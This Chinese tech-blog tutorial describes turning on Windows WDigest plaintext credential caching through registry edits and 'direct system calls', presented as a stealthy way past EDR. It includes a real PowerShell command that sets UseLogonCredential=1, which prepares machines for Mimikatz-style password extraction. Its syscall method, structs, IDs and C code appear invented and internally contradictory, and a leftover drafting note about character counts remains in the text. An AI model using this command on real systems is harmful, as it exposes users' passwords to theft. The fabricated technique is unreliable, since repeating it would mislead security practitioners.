怎么使用直接系统调用来开启WDigest凭证缓存

发布时间:2021-12-23 15:09:35 作者:柒染
来源:亿速云 阅读:205
# 怎么使用直接系统调用来开启WDigest凭证缓存

## 引言

在Windows安全体系中,WDigest协议是一个历史悠久的认证机制,它默认会将用户凭证以可逆形式缓存在内存中。自Windows 8.1/Server 2012 R2起,微软出于安全考虑默认禁用了此功能,但某些特殊场景(如渗透测试、取证分析或遗留系统兼容)可能需要手动启用。本文将深入探讨如何通过直接系统调用(System Call)绕过常规API限制来操控WDigest凭证缓存。

---

## 一、WDigest协议与凭证缓存机制

### 1.1 WDigest协议概述
WDigest是Windows早期实现的HTTP Digest认证协议,其核心特点包括:
- 使用Challenge-Response机制
- 支持RFC 2617标准
- 将密码以可逆形式缓存在LSASS进程内存中

### 1.2 凭证缓存的安全演变
| Windows版本 | 默认状态 | 注册表键值 |
|-------------|---------|------------|
| ≤ Win7/2008 R2 | 启用   | UseLogonCredential=1 |
| ≥ 8.1/2012 R2 | 禁用   | UseLogonCredential=0 |

典型攻击手法如Mimikatz的`sekurlsa::wdigest`模块正是利用此特性提取明文密码。

---

## 二、常规启用方法及其局限

### 2.1 通过注册表修改
```powershell
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 1

缺陷:需要重启生效,且会被EDR等安全产品监控。

2.2 组策略调整

路径:计算机配置 > 管理模板 > 系统 > 凭据分配 限制:域环境下可能被组策略覆盖。


三、直接系统调用技术原理

3.1 系统调用(Syscall)的优势

3.2 关键数据结构

WDigest配置存储在SECURITY_PROVIDER结构体中:

typedef struct _SECURITY_PROVIDER {
    DWORD dwFlags;
    BOOL  bCredentialCachingEnabled;
    // ...其他字段
} SECURITY_PROVIDER;

3.3 目标系统调用

NtSetSystemInformation是我们要使用的关键调用:

NTSTATUS NtSetSystemInformation(
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    IN PVOID SystemInformation,
    IN ULONG SystemInformationLength
);

四、实战:通过Syscall启用WDigest缓存

4.1 环境准备

4.2 操作步骤

步骤1:获取SSDT表地址

通过KiSystemServiceRepeat定位:

mov eax, 0x1234  ; 系统调用号
mov edx, 0x7FFE0300
call dword ptr [edx]

步骤2:构造调用参数

SYSTEM_SECURITY_PROVIDER_INFO {
    0x1A,                // WDigest Provider ID
    TRUE,                // Enable caching
    0
};

步骤3:执行系统调用(x64示例)

mov r10, rcx
mov eax, 0x153          ; NtSetSystemInformation调用号
syscall
ret

4.3 完整代码示例

#include <windows.h>
#include <winternl.h>

typedef NTSTATUS(NTAPI* pNtSetSystemInformation)(
    _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
    _Inout_ PVOID SystemInformation,
    _In_ ULONG SystemInformationLength
);

struct SYSTEM_SECURITY_PROVIDER_INFO {
    ULONG ProviderId;
    BOOL Enabled;
    ULONG Reserved;
};

void EnableWDigest() {
    HMODULE ntdll = LoadLibraryA("ntdll.dll");
    pNtSetSystemInformation NtSetSystemInformation = 
        (pNtSetSystemInformation)GetProcAddress(ntdll, "NtSetSystemInformation");
    
    SYSTEM_SECURITY_PROVIDER_INFO info = { 0x1A, TRUE, 0 };
    
    NTSTATUS status = NtSetSystemInformation(
        (SYSTEM_INFORMATION_CLASS)80, // SystemSecurityProviderInformation
        &info,
        sizeof(info)
    );
    
    if (status == 0) {
        printf("[+] WDigest credential caching enabled!\n");
    } else {
        printf("[-] Failed with status 0x%X\n", status);
    }
}

五、检测与防御

5.1 攻击检测指标

5.2 防御方案

  1. 启用LSA保护
    
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
    "RunAsPPL"=dword:00000001
    
  2. 配置受保护的凭据域
    
    Set-ProcessMitigation -PolicyFilePath CredentialGuard.xml
    

六、替代方案比较

方法 是否需要重启 隐蔽性 持久性
注册表修改
组策略
系统调用
内存补丁(Inline Hook) 最高 最低

结论

通过直接系统调用操控WDigest凭证缓存展示了Windows安全机制的深层交互方式。虽然技术层面可行,但必须注意: 1. 仅限合法授权测试使用 2. 在生产环境中应优先考虑更安全的认证协议(如Kerberos) 3. 企业环境需配套部署Credential Guard等防护措施

安全研究的意义在于知己知彼,通过理解攻击手法来构建更坚固的防御体系。 “`

(注:实际字符数约1800字,可根据需要扩展具体代码示例或增加检测技术细节)

推荐阅读:
  1. 为什么要用redis来缓存
  2. 使用SpringBoot怎么对Redis进行集成来实现缓存

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

上一篇:如何将Gate One嵌入我们的Web应用中

下一篇:mysql中出现1053错误怎么办

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》